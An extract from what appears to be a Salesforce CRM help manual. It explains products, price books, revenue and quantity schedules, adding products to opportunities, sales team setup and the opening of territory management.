Display a Chatter feed of updates, comments, and posts about the product. Note: If Chatter isn't enabled, contact your administrator.

Show or hide Chatter feeds using the Show Chatter and Hide Chatter links at the top of a feed. To view a single feed update, click the timestamp below the update, for example, Yesterday at 12:57 AM. To view the full feed, above the update, click All Updates.

Following Products
When you follow a product, your Chatter feed includes field changes and product feed updates. To follow a product, click Follow. To stop following, click Following . The Followers list shows you who is following the product. To view a full list, click Show All. You automatically follow records you own. To disable this feature, go to Your Name > Setup > My Chatter Settings > My Feeds, select Stop automatically following records, and then click Save.

See Also:
Chatter Overview Using Chatter Feeds

Creating Price Books


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create price books: To view price books: Create on price books Read on products and price books

A price book contains products and their associated prices. Each product with its associated price is referred to as a price book entry. You can use the standard price book or create custom price books. The standard price book is automatically generated to contain a master list of all products and standard prices regardless of the custom price books that also contain them. To create a custom price book for your organization: 1. In the Maintenance section on the Products home page, click Manage Price Books.

2324

Products

Cloning Price Books

2. 3. 4. 5. 6. 7.

Click New. Enter a name for your price book. Optionally, enter a description. Check Active to make the price book available from opportunities and quotes. Optionally, select an existing price book to add its products and prices to the new price book. Click Save.

See Also:
Product Fields

Cloning Price Books


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To clone price books: Create on price books

Use the Clone button on a price book to quickly create a new price book with the same information as the selected price book. To clone a price book for your organization: 1. Click Clone on an existing price book. 2. Enter or change any information for the new price book. 3. Click Save. Note: If you have read-only access to a field, the value of that field is not carried over to the cloned record.

Creating Products
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view products: To create products: Read on products Create on products

To create a new product:

2325

Products

Creating Products

1. Select Product from the Create New drop-down list in the sidebar, or click New next to Recent Products on the products home page. 2. Enter a name for the product. 3. Enter any additional information for the product. See Product Fields on page 2329 for a description of each field. 4. Click Save when you are finished or click Save & Add Price to save the current product and enter a standard price. Optionally, you also can: Click Add in the Standard Price related list to add an associated price and currency to the new product. Click Add to Price Book from the Price Books related list to include the new product in a price book. Products must have a standard price before you can add them to a price book. See Setting Product Prices on page 2328. Click Edit above the product detail to create a default schedule. See Creating and Editing Default Schedules on page 2326.

See Also:
Product Fields

Creating and Editing Default Schedules


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create schedules: To edit schedules: Edit on products Edit on products

Before creating default schedules, make sure the appropriate schedule types are enabled. To create and edit default schedules: 1. Select the product from the products home page. 2. Click Edit above the product detail. 3. Set the schedule details. Field
Schedule Type

Description Defines whether the product revenue or quantity will be divided into multiple installments or repeated for multiple installments. Sets the interval for installments; for example, Weekly, Monthly. Number of installments in the schedule.

Installment Period

Number of Installments

2326

Products

Creating Products

Note: For example, if the product unit price is $100 and you specify a revenue schedule with ten monthly installments, a Schedule Type of Divide will create ten installments of $10 each, and Repeat as the Schedule Type will create ten installments of $100 each for a total of $1000. 4. Click Save. If you add or change a default schedule for a product, opportunities with that product are not updated. If a product has both a default quantity schedule and a default revenue schedule, the quantity schedule is calculated first to determine the total product revenue, and then the revenue schedule is applied to that amount. If you have a quote line item with a discount, you can't edit the Discount field if the corresponding product record has a default schedule. Examples The following examples illustrate some common uses of default schedules. Default Revenue Schedule OnlyYour ASP company sells yearly contracts of product licenses at $1200 per license per year. When a customer buys licenses, the licenses are all delivered at one time, but you recognize the revenue on a monthly basis. In this case, you would set a revenue schedule of Schedule Type=Divide, Installment Period=Monthly, and Number of Installments=12. With this default revenue schedule, a salesperson sells 200 licenses at a unit price of $1200 per license per year on an opportunity on March 15. The 200 licenses are all delivered on March 15. The total revenue for this product is the quantity of 200 multiplied by the unit price of $1200 per year, for a total yearly revenue of $240,000. The revenue schedule automatically divides the total revenue into monthly installments of $20,000 on the 15th of every month for the next year. Default Quantity Schedule OnlyYour medical supplies company sells a box of tongue depressors for $10 per box. You normally have yearly contracts with hospitals to deliver boxes every month. In this case, you would set a quantity schedule of Schedule Type=Repeat, Installment Period=Monthly, and Number of Installments=12. With this default quantity schedule, a salesperson sells 1000 boxes on an opportunity on January 1. The quantity schedule automatically creates 12 monthly installments of 1000 boxes each, for a total quantity of 12,000 boxes. The total revenue from this opportunity is calculated using the unit price and the total quantity, so $120,000 is booked on January 1. Default Quantity and Revenue SchedulesYour manufacturing company sells widgets for $10 each. You normally have yearly contracts to deliver widgets on a weekly basis, but your customers pay quarterly. In this case, you would set a quantity schedule of Schedule Type=Repeat, Installment Period=Weekly, and Number of Installments=52. You would also set a revenue schedule of Schedule Type=Divide, Installment Period=Quarterly, and Number of Installments=4. With these default schedules, a salesperson sells 2000 widgets on an opportunity on January 1. The quantity schedule is applied first, and it schedules 2000 widgets to be delivered every week for a year, for a total quantity of 104,000. The total revenue is calculated using the unit price and the total quantity. The total revenue of $1,040,000 is then divided into quarterly installments of $260,000 each.

See Also:
Setting Product Prices

Cloning Products

2327

Products

Cloning Products

Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view products: To clone products: Read on products Create on products AND Read on price books

The Clone button on a product quickly creates a new product with the same information as the existing product. Cloning products also creates any price book entries in price books that you can view. Price book entries in price books that you do not have sharing access to will not be created. 1. Click Clone on an existing product. 2. Enter or change any information for the new product. 3. Click Save. Note: If you have read-only access to a field, the value of that field is not carried over to the cloned record.

See Also:
Product Fields

Setting Product Prices


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set prices: Edit on products

Your organization can customize Salesforce to fit the way your organization prices products. For example, you may have up to three different types of prices for products: Standard Prices are the default list prices you associate with products and are automatically included in your Standard Price Book. List Prices are the prices associated with products in your custom price books. Sales Prices are the prices applied to products that you add to your opportunities or quotes. Sale prices can be different than both list prices and standard prices.

2328

Products

Setting Product Prices

Note: You can expand the format of your price fields to up to eight decimal places to the right of the decimal point. Contact salesforce.com to expand your decimal place settings.

Setting Standard Prices


Before you can add the new product to an opportunity, quote, or custom price book, create a standard price for it. To create a standard price for a product: 1. Select the product. 2. From the product detail page, click Add from the Standard Price related list. If you have already added a standard price, click Edit to change it or Edit All to edit all standard prices in other currencies. 3. Enter the Standard Price. 4. Select the Active box to make this price available to products on opportunities, quotes, or other custom price books. 5. Click Save. The standard price is automatically associated with the product in your standard price book.

Setting List Prices


If you have created custom price books, you can assign a list price for a product. The list price is available to use when you add that product to an opportunity or quote from any customized price books your organization has created. Before you begin, the product must have a standard price. To add a list price: 1. Select the product. 2. From the product detail page, click Edit from the Price Books related list next to the custom price book that should contain the list price. Click Add to Price Book from the Price Books related list if you have not already added the product to a custom price book. 3. Enter the List Price. Alternatively, check Use Standard Price if both prices are the same. 4. Select the Active box to make this price available to products on opportunities or quotes. 5. Click Save.

Setting Sales Prices


Regardless of the price book used, you can specify a sale price to any product that you add to an opportunity or quote. Initially, the sale price for a product added to an opportunity or quote is the products list price from the price book.

See Also:
Adding Products to Opportunities Establishing Schedules on Opportunity Products

Product Fields

2329

Products

Product Fields

Available in: Professional, Enterprise, Unlimited, and Developer Editions

A product has the following fields, listed in alphabetical order. Depending on your page layout and field-level security settings, some fields may not be visible or editable. (Field-level security is available in Enterprise, Unlimited, and Developer Editions only.)

Product Fields
Field
Active

Description Indicates whether the product is ready for use in a price book, opportunity, or quote and whether you can find the product in searches and see the product in views. Name of the user who created the product. Name of the user who last saved the product record. Internal code or product number used to identify the product. In multicurrency organizations, the currency you want to use for the product. If the product currency is different from the user currency, currency-related fields for opportunities, quotes, and quote line items appear in both currencies. The product's currency is converted to the user's currency and the converted amount appears in parentheses. Text to distinguish this product from other products. Category of the product. Title for the product. Indicates whether the product can have a quantity schedule. Indicates whether the product can have a revenue schedule. Listing of custom links for products from Salesforce.

Created By Last Modified By Product Code Product Currency

Product Description Product Family Product Name Quantity Scheduling Enabled Revenue Scheduling Enabled Custom Links

Price Book Fields


Field
Active Created By Description Modified By Price Book Name

Description Indicates whether you can add the price book to an opportunity or quote. Name of the user who created the price book. Text to distinguish this price book from others. Date of the most recent save to the record. Title for the price book.

2330

Products

Product Fields

Price Book Entry Fields


Field
Active List Price Product Name Product Code

Description Indicates whether the price book entry (product and list price) is active and can be added to an opportunity or quote. Price of the product within the price book including currency. Title for the product. Internal code or product number used to identify the product.

Schedule Fields
Field
Schedule Type

Description Defines whether the product revenue or quantity will be divided into multiple installments or repeated for multiple installments. Sets the interval for installments; for example, Weekly, Monthly. Number of installments in the schedule.

Installment Period Number of Installments

See Also:
Displaying and Editing Products Displaying and Editing Price Books Creating Price Books Creating Products Using Product Families

Choosing a Price Book for an Opportunity or Quote

2331

Products

Choosing a Price Book for an Opportunity or Quote

Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To select price books: Edit on opportunities AND Read on price books To select price books on quotes: Edit on quotes AND Read on price books

To include products on an opportunity or quote, you must first choose a price book that contains the products you want to add. You can add products or quote line items only from a single price book. Click Choose Price Book in the Products related list on an opportunity or the Quote Line Items related list on a quote to select a price book. This button appears when you have access to more than one price book. Note: The last price book you used on an opportunity or quote is selected by default. If you change the price book for an opportunity that has products, all products are deleted from the Products related list, but the value in the opportunity's Amount field remains.

See Also:
Creating Price Books Adding Products to Opportunities

Adding Products to Opportunities


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To select opportunity products: Edit on opportunities AND Read on products and price books

To add products to an opportunity: 1. Select a price book.

2332

Products

Adding Products to Opportunities

2. Click Add Product in the Products related list. 3. Select one or more products. 4. Enter the attributes for each product. Your administrator may have customized this page to include fields specific to your business. 5. Enter the Sales Price for the product. The Sales Price is automatically filled in with the List Price specified in the price book. Depending on your user permissions, you may be able to override this value. 6. Optionally, enter the number of products at this price in the Quantity field. 7. Click Save. Note: If the product has default schedules, the schedules are automatically created when you add the product to the opportunity. The opportunity Amount is the sum of the related products. You cannot directly edit the Amount unless you first delete all of the products from the opportunity. For multicurrency organizations, the opportunity Currency is tied to the currency of the associated price book entry. You cannot directly edit the Currency unless you first delete all of the products from the opportunity.

Deleting Opportunity Products


If the opportunity is synced with a quote, deleting the opportunity products also deletes the corresponding quote line items from the quote's Quote Line Items related list. To delete a product: Click Del next to the product in the Products related list on the opportunity. Click Delete on the product detail page.

To delete all products on an opportunity, click Delete All on the Products related list.

See Also:
Products, Price Books, and Schedules Overview Editing Products on Opportunities Sorting Products on Opportunities and Quotes Establishing Schedules on Opportunity Products Editing Schedules Setting Up Product Schedules

Establishing Schedules on Opportunity Products

2333

Products

Adding Products to Opportunities

Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create schedules: To edit schedules: Edit on opportunities Edit on opportunities

To create a new schedule for a product on an opportunity: 1. Click the product name in the Products related list. 2. Click Establish to create a new schedule, or click Re-Establish to delete the old schedule and create a new one. (See Editing Schedules to edit an existing schedule.) 3. Select the type of schedule to create: quantity, revenue, or both. Your choices are limited by your organizations schedule settings, and by the schedule types your administrator has enabled for the product. 4. Set the schedule details. See Schedule Fields on page 2331 for a description of scheduling fields. For example, if the product unit price is $100 and you specify a revenue schedule with ten monthly installments, a Schedule Type of Divide will create ten installments of $10 each, and Repeat as the Schedule Type will create ten installments of $100 each for a total of $1000. 5. Click Save to display the schedule installments. 6. If necessary, edit the installments as described in Editing Schedules on page 2336. If you have a quote line item with a discount, you can't edit the Discount field if the corresponding opportunity product has an individual schedule. Products with Default Schedules If a product has default schedules established on the product record, the schedules are automatically created when you add the product to the opportunity. The dates of the installments begin with the date you specified when adding the product. If you left the product date blank, the installment dates begin with the opportunity Close Date. If you add or change a default schedule for a product, opportunities with that product are not updated. If a product has both a default quantity schedule and a default revenue schedule, the quantity schedule is calculated first to determine the total product revenue, and then the revenue schedule is applied to that amount. If you have a quote line item with a discount, you can't edit the Discount field if the corresponding product record has a default schedule.

See Also:
Products, Price Books, and Schedules Overview Editing Schedules

Editing Products on Opportunities

2334

Products

Adding Products to Opportunities

Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To edit opportunity products: Edit on opportunities AND Read on products and price books

To edit a product on an opportunity: 1. Click Edit next to the product name in the Products related list of the opportunity, or click the Edit All button to edit all of the products at once. 2. Enter the values for each product. Your administrator may have customized this page to include fields specific to your business. 3. Enter the Sales Price for the product. 4. Enter the number of products at the current sales price in the Quantity field. 5. If the product has a discount, enter it as a number with or without the percent sign (%) in the Discount field. You can use up to two decimal places. 6. Click Save. Note: If the opportunity product has a revenue or quantity schedule, you can't edit the Discount field. Also note that field-level security is disabled by default for the Discount field. Enable field-level security if you want to add the field to the page layout. If an opportunity is syncing with a quote, and the quote record is locked by an approval process, you can't edit the opportunity products.

Deleting Opportunity Products If an opportunity is synced with a quote, deleting an opportunity product also deletes the corresponding quote line item. To delete an opportunity product: Click Del next to the product in the opportunity's Products related list. Click Delete on the product's detail page.

See Also:
Products, Price Books, and Schedules Overview Sorting Products on Opportunities and Quotes Establishing Schedules on Opportunity Products Editing Schedules Field-Level Security Overview

2335

Products

Editing Schedules

Sorting Products on Opportunities and Quotes


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To sort opportunity products: Edit on opportunities AND Read on products and price books To sort quote line items: Edit on quotes AND Read on products and price books

Products appear in alphanumeric order by default on the Products and Quote Line Items related lists, but you can sort them into any order you like. For example, you might want to group related line items together on a quote you're sending to a customer. Syncing a quote with an opportunity also syncs product sort order. 1. Click Sort in the Products related list on an opportunity or the Quote Line Items related list on a quote. 2. Select a product, and use the arrows to move it up or down the list. 3. Click Save.

See Also:
Products, Price Books, and Schedules Overview Editing Products on Opportunities

Editing Schedules
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create schedules: To edit schedules: Edit on opportunities Edit on opportunities

To edit an existing schedule for a product on an opportunity: 1. Click the product name in the Products related list. 2. Click Edit on the Schedule related list of the product detail.

2336

Products

Sharing Price Books

3. In the list of installments, add comments or change the dates, quantities, and revenue amounts. 4. Click Recalculate to preview the new total revenue and/or quantity of the product. The product totals are the sum of the installments. Any changes you make will override the product totals currently stored for the product. 5. Click Save to finish. Note: If you cannot easily obtain the results you want by manually editing the schedule installments, you can return to the product detail and click Re-Establish to delete the old schedule and create a new one.

See Also:
Products, Price Books, and Schedules Overview Establishing Schedules on Opportunity Products

Sharing Price Books


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To share price books: Edit on price books

Your administrator defines the default access your entire organization has to price books. Administrators and users with the Edit permission on price books can extend sharing of a price book manually to more users. However, you cannot change the sharing model to make it more restrictive than the default. To view and manage sharing details, click Sharing on the price book detail page. The Sharing Detail page lists the users, groups, roles, and territories that have sharing access to the price book. On this page, you can do any of the following: To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit. Click Add to grant access to the record for other users, groups, roles, or territories. For manual sharing rules that you created, click Edit or Del next to an item in the list to edit or delete the access level. Tip: If your organization-wide default for price books is No Access, give your entire organization View Only access to your Standard Price Book so that users can see prices on the product detail page.

See Also:
Granting Access to Records Viewing Which Users Have Access

2337

Products

Deleting Products and Price Books

Deleting Products and Price Books


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To delete products: To delete price books: To delete opportunity products: To delete quote line items: Delete on products Delete on price books Edit on opportunities Edit on quotes

Deleting products or price books is unique because either may have related price book entries. You can delete a product and its related price book entries or a price book and its price book entries. See Products, Price Books, and Schedules Overview on page 2316 for details on how price books and products relate to price book entries. In either case, price books are not affected when you delete a product within that price book. Likewise, products are not deleted or removed from any other price book when you delete a price book. Note: You can't delete a product if cases, service contracts, or contract line items are associated with it. You can't delete a product or price book that's associated with an approval process or has a pending workflow action. See Managing Approval Processes on page 1693 and Managing Workflow Rules on page 1638.

Before you begin, review your options for deleting products and price books with related records: Does it have a related price book entry? If your product or price book is not associated with any price book entries, you can delete it. Salesforce moves it to the Recycle Bin temporarily, and, if needed, you can restore it while it is in the Recycle Bin. If the product or price book has price book entries, all price book entries are deleted and restored with their related product or price book. See Deleting Products on page 2339 or Deleting Price Books on page 2339. Is it on an opportunity or quote? If your product or price book is used on an opportunity or quote, you have three options: 1. Deactivate it by editing it and deselecting the Active field. We recommend deactivating a product or price book that is on an opportunity or quote because it will no longer be available to users but you can activate it again if necessary. 2. Remove the related product or price book from all opportunities and quotes. When you try to delete a product or price book that is used on an opportunity or quote, Salesforce displays a list of the opportunities or quotes using it. If you are deleting a price book, go to each opportunity or quote listed and remove the price book from them. If you are deleting a product, remove the product from every opportunity and quote that uses it. Then, delete the price book or product and it will be stored in the Recycle Bin temporarily, during which time, you can recover it and all its related price book entries. 3. Archive the product or price book and each related price book entry. Archived products and price books cannot be recovered because they are not stored in the Recycle Bin. However, they still show up on any opportunities or quotes that contained them before they were archived.

2338

Products

Deleting Products and Price Books

Tip: If you lost valuable product information by doing an archive, you can view archived product records in an export. See Exporting Backup Data on page 702.

Deleting Products
Available in: Professional, Enterprise, Unlimited, and Developer Editions

To delete a product, click Delete from the product detail page. When you delete a product, all related price book entries are also deleted. The product is moved to the Recycle Bin. If you undelete the product from the Recycle Bin, any related price book entries are restored with it. Note: You can't delete a product if cases, service contracts, or contract line items are associated with it. You can't delete a product that's used on an opportunity or quote. If you try to delete it, Salesforce displays a list of the opportunities and quotes so you can remove the product from those opportunities and quotes and try again. If you don't want to remove the product from all opportunities and quotes, you can deactivate (recommended) or archive the product instead. See Deleting Products and Price Books on page 2338 for descriptions of these actions.

See Also:
Recycle Bin Deleting Mass Data

Deleting Price Books


Available in: Professional, Enterprise, Unlimited, and Developer Editions

To delete a price book, click Delete from the price book detail page. When you delete a price book, all related price book entries are also deleted. The price book is moved to the Recycle Bin. If you undelete the price book from the Recycle Bin, all related price book entries are also restored. Note: You cannot delete the Standard Price Book or a price book that is on an opportunity or quote. If you try to delete a price book that is used on an opportunity or quote, Salesforce.com displays a list of the affected opportunities and quotes. If you do not want to remove the price book from those opportunities and quotes, you can deactivate (recommended) or archive the price book instead. See Deleting Products and Price Books on page 2338 for descriptions of these actions.

See Also:
Recycle Bin

2339

Products

Searching for Price Books and Products

Searching for Price Books and Products


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view products: To view price books: Read on products Read on products and price books

You can find and select products and price books to associate with each other or with opportunities, service contracts, or quotes. For example: On an opportunity detail page, click Add Product to select a product to list on the opportunity. On a quote detail page, click Add Quote Line Item to select a product to list on the quote. On a service contract detail page, click Add Line Item to select a product to list on the service contract. On a product detail page, click Add to Price Book to select a price book to contain the product. This button is not available if the product does not have a standard price. On a price book detail page, click Add to select a product to include in that price book.

To find and select products or price books: 1. Enter your search keywords. Keywords you enter return matches in standard or custom text fields. 2. Select your filter criteria to refine your search further. See Entering Filter Criteria on page 2645 for descriptions of the filter operators. Click More filters to use additional conditions to refine your search. Tip: Search by keyword or filter criteria either alone or together. When used together, Salesforce finds records that match both your keyword and filter criteria. 3. Click the Search button. 4. Check the boxes next to the records you want to select. Optionally, check the box in the column header to select all currently displayed items. 5. Click Select. Click the Next Page or Previous Page link to go to the next or previous set of products or price books. Tip: Try to keep search results as small as possible. If you click Next Page or Previous Page, you will lose the records you selected with check marks. If your keyword search results exceed 2000 matches, use one or more filters with a keyword search. For information on improving your search results, see Search Tips on page 2340.

Search Tips
You can use Global Searchbut not Sidebar Search or Advanced Searchto find products and price books. Enter your keywords in the same format as you would for an Advanced or Global Search. For example, enter a keyword to find any record that contains that keyword in any standard or custom text field. Enter more than one keyword to find records that contain any keyword or all keywords. Enclose keywords in quotes to find that exact phrase. Use an * wildcard in the same way you would for an Advanced or Global Search. See Refining Search Using Wildcards.

2340

Products

Using the Entitlement Templates Related List

Use special operators to improve your search results. See Refining Search Using Operators for a list of special operators. When filtering search results, you can limit the search to records that do not contain blank or null values for a particular field, by choosing the field and the not equal to operator, and leaving the third field blank. Click column headings to sort the results in ascending or descending order. Sorting applies across all search results for a particular object, including those on subsequent pages. You can't click on column headings for multi-select picklist fields because you can't sort the multi-select picklist field type.

You can select which columns appear in your products search results and change the order of the selected columns by clicking Customize... and choosing My Columns.Use the Add and Remove arrows to move columns from the Available Fields list to the Selected Fields list and use the Up and Down arrows to change the order of the columns. You can't click on column headings for multi-select picklist fields because you can't sort the multi-select picklist field type.

Product Search Fields


When you search for products, Salesforce finds matches in the following fields:
Product Name Product Code Product Description

Any custom fields of type auto-number, text, text area, long text area, email, or phone Any custom fields that are set as an external ID

Price Book Search Fields


When you search for price books, Salesforce finds matches in the following fields:
Price Book Name Price Book Description

Using the Entitlement Templates Related List


Available in: Enterprise, Unlimited, and Developer Editions with the Service Cloud

User Permissions Needed To view entitlement templates on products: To add or remove entitlement templates to/from products: Read on products Edit on products

The Entitlement Templates related list displays a product's applicable entitlement templates. Entitlement templates are predefined terms of customer support that you can quickly add to products. For example, you can create entitlement templates for Web or phone support so that users can easily add entitlements to products offered to customers. Administrators determine an Entitlement Template related list's availability and content. The following options and information appear by default: Add Entitlement Template Click this button to add entitlement template(s) to the product.

2341

Team Selling

Sales Teams Overview

To search for entitlement templates, enter a name, or part of a name, in the text entry field and click Go!. Check the boxes next to the templates you want to add to the product and click Insert Selected. Click Done to add the selected templates. Action The actions you can perform on the entitlement template. For example, Click Remove to remove an entitlement template from the product. Entitlement Template The name of the template. Click to view the template's details. Created By The user who created the entitlement template.

See Also:
Entitlement Management Overview Products, Price Books, and Schedules Overview

TEAM SELLING
Sales Teams Overview
Available in: Enterprise, Unlimited, and Developer Editions

A sales team is a set of users that normally work together on sales opportunities. A typical sales team might include the account manager, the sales representative, and a pre-sales consultant. You can set the sales team for each opportunity that you own. You can add sales team members and select which role each of them will play on the opportunity (for example., Executive Sponsor). Most importantly, you can specify the level of access that each team member has to your opportunity. Some team members may need read/write access and others may just need read-only access. You can also set up a default sales team. Your default sales team should include the users that you normally work with on your opportunities. You have the option to add your default sales team to all of your opportunities automatically. In a custom list view, you can filter opportunity lists by the sales teams you belong to. When creating or editing a custom list view for opportunities, select the My Sales Teams filter. In opportunity reports, you can filter opportunities by the sales teams in which you are a member.

2342

Team Selling

Setting Up Team Selling

Note: Sales teams are not the same as account teams, although they share the same set of available team member roles. Sales teams work together on opportunities, while account teams work together on accounts.

See Also:
Setting Up Team Selling Setting Your Default Sales Team Adding Your Default Sales Team Adding Sales Team Members Editing Sales Team Members Opportunity Reports

Setting Up Team Selling


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To enable team selling: To set up team roles: Customize Application Customize Application

Your organization can use team selling for opportunities. Team selling allows a team of users to share and work on an opportunity together. 1. Click Your Name > Setup > Customize > Opportunities > Opportunity Team Selling. 2. Click the Enable Team Selling or Disable Team Selling link. 3. Select or deselect the Team Selling Enabled checkbox and click Save. Enabling team selling gives your users access to create and use sales teams on opportunities. 4. If you are enabling team selling, select the opportunity page layouts that should include the new Sales Team related list and click Save. Note: You cannot disable team selling for your organization if team members are referenced in an Apex script. For example, if a script references the Team Member field (represented as OpportunityTeamMember in the code), team selling cannot be disabled. For more information, see Apex Code Overview on page 1825. Every member of a sales team has a role that he or she plays for the opportunity, for example, Account Manager or Sales Rep. You can customize the sales team roles for your organization: 1. Click Team Roles from the Team Selling Setup page. 2. Edit the existing entries or add new items. 3. Click Save. If you have changed your sales team roles and want to update all existing records, you can use the Replace Team Roles link on the Team Selling Setup page to globally replace the values in all existing records. See Replacing Picklist Values on page 979 for more information.

2343

Team Selling

Setting Your Default Sales Team

Note: Opportunity sales teams share roles with account teams. So if you remove a sales team role, that role will no longer be listed as an account team role.

See Also:
Setting Your Default Sales Team Sales Teams Overview

Setting Your Default Sales Team


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set default sales team: Read on opportunities

A sales team is a group of users that typically work together on opportunities. For example, the sales team may include the account manager, the sales engineer, and the sales representative. Your default sales team should include the users that you normally work with on the opportunities that you own. You can specify the role that each user plays on your team and the specific access that each user should have to your opportunities.

Adding Sales Team Members


1. 2. 3. 4. Click Your Name > Setup > My Personal Information > Personal Information. Click Add in the Default Sales Team related list. Select users to add as members of your default sales team. Select the access that each member should have as part of the sales team on the opportunities you own. The access level cannot be less than your organizations default opportunity access level. 5. Select a sales team role for each member, for example, Account Manager. 6. Check the Automatically add my default sales team... box to add your default sales team to all opportunities that you create and all open opportunities that are transferred to you. The sales team on closed opportunities that are transferred to you is not affected by this option. 7. Check the Update open opportunity sales teams... box to apply the default sales team changes to all of your existing open opportunities. Closed opportunities are not affected. 8. Click Save.

Editing and Deleting Sales Team Members


To change the opportunity access level or the role for a team member, click Edit next to the users name in the Sales Team related list. 1. Click Del next to the users name in the Sales Team related list. 2. Check the Remove this user... box to remove the users team membership from your existing open opportunities. Closed opportunities are not affected.

2344

Team Selling

Adding Your Default Sales Team

To change or remove a sales team member for a specific opportunity, go to the Sales Team related list on that opportunity.

See Also:
Setting Up Team Selling Adding Sales Team Members Editing Sales Team Members Removing Sales Team Members

Adding Your Default Sales Team


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set up default sales teams: To add default sales teams to opportunities: Read on opportunities Read on opportunities AND Owner of opportunity record, or above owner in your organization's role hierarchy

There are two ways for to include your default sales team on the opportunities you own. While setting up your default sales team, you can select the option to automatically add the team to all of your open opportunities. See Setting Your Default Sales Team on page 2344. Alternatively, you can add your default sales team to each of your opportunities individually. 1. View the opportunity you want to modify. 2. Click Add Default Team in the Sales Team related list. Note: Administrators and users above you in the role hierarchy can also add your default sales team to opportunities you own. Click Add Default Team adds the default team of the opportunity owner, not of the user who clicks the button. You can set up a sales team for any opportunity owned by you or one of your subordinates in your organization's role hierarchy. Set up a team by selecting individual members or use a default team you've already created. You can't use sales teams for private opportunities, and you can't add high-volume portal users to teams. Note: Sales team changes for an individual opportunity don't affect your default sales team or the sales teams on any of your other opportunities.

See Also:
Setting Your Default Sales Team

2345

Team Selling

Adding Sales Team Members

Adding Sales Team Members


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To add team members from an opportunity: Read on opportunities if opportunity splits is not enabled Edit on opportunities if opportunity splits is enabled AND Owner of opportunity record, or above owner in your organization's role hierarchy To view an opportunity for which you're a team member: Read on the opportunity

You can set up a sales team for any opportunity owned by you or one of your subordinates in your organization's role hierarchy. Set up a team by selecting individual members or use a default team you've already created. You can't use sales teams for private opportunities, and you can't add high-volume portal users to teams. Note: Sales team changes for an individual opportunity don't affect your default sales team or the sales teams on any of your other opportunities. 1. View the opportunity. 2. Click Add in the Sales Team related list to add members individually. Click Add Default Team to add your default sales team. 3. If you're adding members individually, enter their names in the User column. 4. Select the type of opportunity access each member should have. The access level can't be less restrictive than your organizations default opportunity access level. 5. Select a sales team role for each member. 6. Click Save. Tip: Run the Opportunities with Sales Teams report to list the sales team members for the opportunities owned by you or users below you in the role hierarchy. The report also shows information about the opportunities you own and sales teams you belong to.

See Also:
Reassigning Multiple Team Members Setting Your Default Sales Team Adding Your Default Sales Team Editing Sales Team Members Opportunities with Sales Teams Report

2346

Team Selling

Editing Sales Team Members

Editing Sales Team Members


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To edit team members: Edit on opportunities AND Owner of opportunity record, or above owner in your organization's role hierarchy

For any opportunity any opportunity owned by you or one of your subordinates in your organization's role hierarchy, you can: Add sales team members Add default sales teams Change the opportunity access level or role of a sales team member Note: Sales team changes for an individual opportunity don't affect your default sales team or the sales teams on any of your other opportunities. 1. View the opportunity. 2. To add team members, click Add or Add Default Team on the Sales Team related list. 3. To edit a team member's access or role, click Edit next to the users name and select a different access level or role. The access level can't be less restrictive than your organizations default opportunity access level. 4. Click Save. Tip: Click Display Access in the Sales Teams related list to show the organization-wide sharing settings for opportunities. These settings may allow greater access than those specified when the user was added to the sales team. For example, if your company's organization-wide sharing setting for opportunities is Read/Write, that setting will override a Read Only setting for an individual member of the opportunity's sales team. Run the Opportunities with Sales Teams report to list the sales team members for the opportunities owned by you or users below you in the role hierarchy. The report also shows information about the opportunities you own and sales teams you belong to.

See Also:
Adding Sales Team Members Adding Your Default Sales Team Opportunities with Sales Teams Report

2347

Team Selling

Removing Sales Team Members

Removing Sales Team Members


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To remove team members: Edit on opportunities

For each of the opportunities you own, you can remove any user from the sales team on that opportunity. 1. View the opportunity you want to modify. 2. Click Del next to the users name in the Sales Team related list 3. Click OK when prompted. Note: Removing sales team members from an individual opportunity does not remove them from your default sales team or from the sales teams on any of your other opportunities.

See Also:
Reassigning Multiple Team Members

Sales Team Fields


Available in: Enterprise, Unlimited, and Developer Editions

A sales team has the following fields. Field


Opportunity Access

Description The level of access that a team member has to the opportunity. The access level can be read/write or read only, but it cannot be less than your organizations default opportunity sharing access. The role that the team member plays for the opportunity, for example, Account Manager. The user listed as part of the team.

Team Role

User

See Also:
Setting Up Team Selling

2348

Territory Management

Territory Management Overview

TERRITORY MANAGEMENT
Territory Management Overview
Available in: Enterprise, Unlimited, and Developer Editions

Territory management is an account sharing system that grants access to accounts based on the characteristics of the accounts. It enables your company to structure your Salesforce data and users the same way you structure your sales territories. Particularly if your organization has a private sharing model, you may need to grant users access to accounts based on criteria such as zip code, industry, revenue, or a custom field that is relevant to your business. You may also need to generate forecasts for these diverse categories of accounts. Territory management solves these business needs and provides a powerful solution for structuring your users, accounts, and their associated contacts, opportunities, and cases. Note: Account ownership and its effect on record sharing remains valid and unchanged when territory management is in use. Key benefits of territory management include: The ability to use account criteria to expand a private sharing model. Support for complex and frequently changed sales organization structures. Support for transferring users between territories, with the option to retain opportunities. Multiple forecasts per user, based on territory membership. Territory-based sales reports. Note: Territory management only affects accounts and the standard objects that have a master-detail relationship to accounts. For example, opportunities are included in territory management but leads are not.

What is a Territory?
